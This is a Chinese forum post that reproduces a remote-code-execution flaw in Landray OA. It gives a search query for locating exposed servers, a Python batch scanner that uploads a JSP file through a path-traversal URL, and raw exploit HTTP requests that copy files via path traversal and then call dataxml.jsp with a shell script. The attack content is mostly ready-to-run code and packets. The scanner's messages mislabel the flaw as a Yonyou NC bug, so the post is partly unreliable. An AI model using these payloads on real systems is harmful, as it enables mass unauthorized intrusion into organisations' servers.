【漏洞复现】某凌OA 文件Copy导致远程代码实验

打印 上一主题 下一主题

主题 906|帖子 906|积分 2718

     声明:本文档或演示质料仅用于教育和教学目的。如果任何个人或组织利用本文档中的信息进行非法活动,将与本文档的作者或发布者无关。
  一、漏洞描述

蓝凌OA平台正通过加速构建产业互联网来深化其数字化发展,从而对企业的协作能力提出了更高的要求。为了支持这一转变,蓝凌推出了新一代生态型OA平台,旨在促进大中型组织的表里协作与管理,支持办公自动化、管理智能化、应用平台化和组织生态化。然而,由于蓝凌OA平台的某些代码功能模块存在设计缺陷,攻击者可能会利用这些漏洞进行未授权操作,对系统安全构成威胁。
二、资产收集

1.利用网络空间测绘引擎搜索

鹰图检索:app.name="Landray 蓝凌OA"

2.利用poc批量扫描

  1. import requests
  2. import random
  3. import string
  4. import argparse
  5. from urllib3.exceptions import InsecureRequestWarning
  6. # 设置颜色代码用于控制台输出
  7. RED = '\033[91m'
  8. RESET = '\033[0m'
  9. # 忽略不安全的SSL警告
  10. requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
  11. # 随机生成字符串函数,长度为n
  12. def rand_base(n):
  13.     return ''.join(random.choices(string.ascii_lowercase + string.digits, k=n))
  14. # 检查目标URL是否具有特定的RCE(远程代码执行)漏洞
  15. def check_vulnerability(url):
  16.     filename = rand_base(6)  # 生成随机文件名
  17.     upload_url = url.rstrip('/') + '/mp/initcfg/%2e%2e/uploadControl/uploadFile'  # 构造上传URL
  18.     upload_headers = {
  19.         # 构造上传请求头
  20.         'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
  21.         'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundarygcflwtei',
  22.         'Connection': 'close'
  23.     }
  24.     # 构造上传数据体
  25.     upload_data = (
  26.         '------WebKitFormBoundarygcflwtei\r\n'
  27.         f'Content-Disposition: form-data; name="file"; filename="{filename}.jsp"\r\n'
  28.         'Content-Type: image/jpeg\r\n\r\n'
  29.         '<% out.println("HelloWorldTest");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>\r\n'
  30.         '------WebKitFormBoundarygcflwtei\r\n'
  31.         'Content-Disposition: form-data; name="submit"\r\n\r\n'
  32.         '上传\r\n'
  33.         '------WebKitFormBoundarygcflwtei--'
  34.     ).encode('utf-8')
  35.     try:
  36.         # 发送上传请求
  37.         response_upload = requests.post(upload_url, headers=upload_headers, data=upload_data, verify=False, timeout=30)
  38.         # 构造访问上传文件的URL
  39.         access_url = url.rstrip('/') + f'/mp/uploadFileDir/{filename}.jsp'
  40.         access_headers = {
  41.             # 访问请求头
  42.             'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36'
  43.         }
  44.         # 发送访问请求
  45.         response_access = requests.get(access_url, headers=access_headers, verify=False, timeout=30)
  46.         
  47.         # 检查响应状态和内容以判断是否存在漏洞
  48.         if response_upload.status_code == 200 and response_access.status_code == 200 and "HelloWorldTest" in response_access.text:
  49.             print(f"{RED}URL [{url}] 存在用友 NC uploadControluploadFile 文件上传致RCE漏洞{RESET}")
  50.         else:
  51.             print(f"URL [{url}] 不存在漏洞")
  52.     except requests.exceptions.Timeout:
  53.         print(f"URL [{url}] 请求超时,可能存在漏洞")
  54.     except requests.RequestException as e:
  55.         print(f"URL [{url}] 请求失败: {e}")
  56. # 主函数,解析命令行参数并调用检查函数
  57. def main():
  58.     parser = argparse.ArgumentParser(description='检测目标地址是否存在用友 NC uploadControluploadFile 文件上传致RCE漏洞')
  59.     parser.add_argument('-u', '--url', help='指定目标地址')
  60.     parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')
  61.     args = parser.parse_args()
  62.     # 如果提供了单个URL,则检查该URL
  63.     if args.url:
  64.         if not args.url.startswith("http://") and not args.url.startswith("https://"):
  65.             args.url = "http://" + args.url
  66.         check_vulnerability(args.url)
  67.     # 如果提供了包含URL的文件,则遍历文件中的每个URL进行检查
  68.     elif args.file:
  69.         with open(args.file, 'r') as file:
  70.             urls = file.read().splitlines()
  71.             for url in urls:
  72.                 if not url.startswith("http://") and not url.startswith("https://"):
  73.                     url = "http://" + url
  74.                 check_vulnerability(url)
  75. if __name__ == '__main__':
  76.     main()
复制代码
cmd运行:python poc.py -f url.txt

 随机探求的荣幸儿


三、漏洞复现 

1.构造数据包

构造数据包:
  1. POST /sys/ui/sys_ui_component/sysUiComponent.do HTTP/1.1
  2. Host: ip
  3. Accept:application/json,text/javascript,*/*;q=0.01
  4. Accept-Encoding:gzip,deflate
  5. Accept-Language:zh-CN,zh;q=0.9,en;q=0.8
  6. Connection:close
  7. Content-Type:multipart/form-data; boundary=----WebKitFormBoundaryL7ILSpOdIhIIvL51
  8. User-Agent:Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/83.0.4103.116Safari/537.36
  9. X-Requested-With:XMLHttpRequest
  10. Content-Length: 395
  11. ------WebKitFormBoundaryL7ILSpOdIhIIvL51
  12. Content-Disposition:form-data;name="method"
  13. replaceExtend
  14. ------WebKitFormBoundaryL7ILSpOdIhIIvL51
  15. Content-Disposition:form-data;name="extendId"
  16. ../../../../resource/help/km/review/
  17. ------WebKitFormBoundaryL7ILSpOdIhIIvL51
  18. Content-Disposition:form-data;name="folderName"
  19. ../../../ekp/sys/common
  20. ------WebKitFormBoundaryL7ILSpOdIhIIvL51--
复制代码
上传数据包:
  1. POST /resource/help/km/review/dataxml.jsp HTTP/1.1
  2. Host: ip
  3. User-Agent:Mozilla/5.0(Macintosh;IntelMacOSX10_15_7)AppleWebKit/537.36(KHTML,likeGecko)Chrome/113.0.0.0Safari/537.36
  4. Connection:close
  5. Content-Length:17392
  6. Content-Type:application/x-www-form-urlencoded
  7. s_bean=ruleFormulaValidate&script=shell&returnType=int&modelName=test
复制代码
2.数据包分析 

构造数据包:
这是一个HTTP POST请求的数据包,用于向服务器发送数据。以下是对该数据包的剖析:

  • 请求行:POST /sys/ui/sys_ui_component/sysUiComponent.do HTTP/1.1,表示这是一个POST请求,目的URL为/sys/ui/sys_ui_component/sysUiComponent.do,利用的HTTP协议版本为1.1。
  • 请求头:包含了一些关于请求的信息,如主机名、接受的内容类型、编码方式、语言、连接状态等。

    • Host: ip,表示请求的目的服务器的IP所在。
    • Accept: application/json,text/javascript,/;q=0.01,表示客户端可以接受的内容类型及其优先级。
    • Accept-Encoding: gzip,deflate,表示客户端可以接受的压缩格式。
    • Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,表示客户端的首选语言及其优先级。
    • Connection: close,表示请求完成后关闭连接。
    • Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryL7ILSpOdIhIIvL51,表示请求体的类型和分隔符。
    • User-Agent: Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/83.0.4103.116Safari/537.36,表示客户端的浏览器信息。
    • X-Requested-With: XMLHttpRequest,表示请求是由XMLHttpRequest发起的。
    • Content-Length: 395,表示请求体的长度为395字节。

  • 请求体:包含了现实要发送给服务器的数据。这里利用了multipart/form-data格式,通过分隔符(boundary)来区分不同的表单字段。具体包含以下三个部门:

    • method: replaceExtend,表示请求的方法是replaceExtend。
    • extendId: ../../../../resource/help/km/review/,表示扩展ID的值。
    • folderName: ../../../ekp/sys/common,表示文件夹名称的值。

上传数据包:
这是一个HTTP POST请求的数据包,用于向服务器发送数据。以下是对该数据包的剖析:
1. 请求行:`POST /resource/help/km/review/dataxml.jsp HTTP/1.1`,表示这是一个POST请求,目的URL为`/resource/help/km/review/dataxml.jsp`,利用的HTTP协议版本为1.1。
2. 请求头:包含了一些关于请求的信息,如主机名、用户署理、连接状态等。
   - Host: ip,表示请求的目的服务器的IP所在。
   - User-Agent: Mozilla/5.0(Macintosh;IntelMacOSX10_15_7)AppleWebKit/537.36(KHTML,likeGecko)Chrome/113.0.0.0Safari/537.36,表示客户端的浏览器信息。
   - Connection: close,表示请求完成后关闭连接。
   - Content-Length: 17392,表示请求体的长度为17392字节。
   - Content-Type: application/x-www-form-urlencoded,表示请求体的类型是表单数据。
3. 请求体:包含了现实要发送给服务器的数据。这里利用了application/x-www-form-urlencoded格式,将参数以键值对的情势进行编码。具体包含以下四个参数:
   - s_bean=ruleFormulaValidate,表示参数名为s_bean,值为ruleFormulaValidate。
   - script=shell,表示参数名为script,值为shell。
   - returnType=int,表示参数名为returnType,值为int。
   - modelName=test,表示参数名为modelName,值为test。
3.结束跑路

利用yakit Web Fuzzer构造数据包发送。

利用yakit Web Fuzzer上传数据

每篇一言:信心这个东西,什么时间都像个高楼大厦,但是内里会长白蚁。

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

麻花痒

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表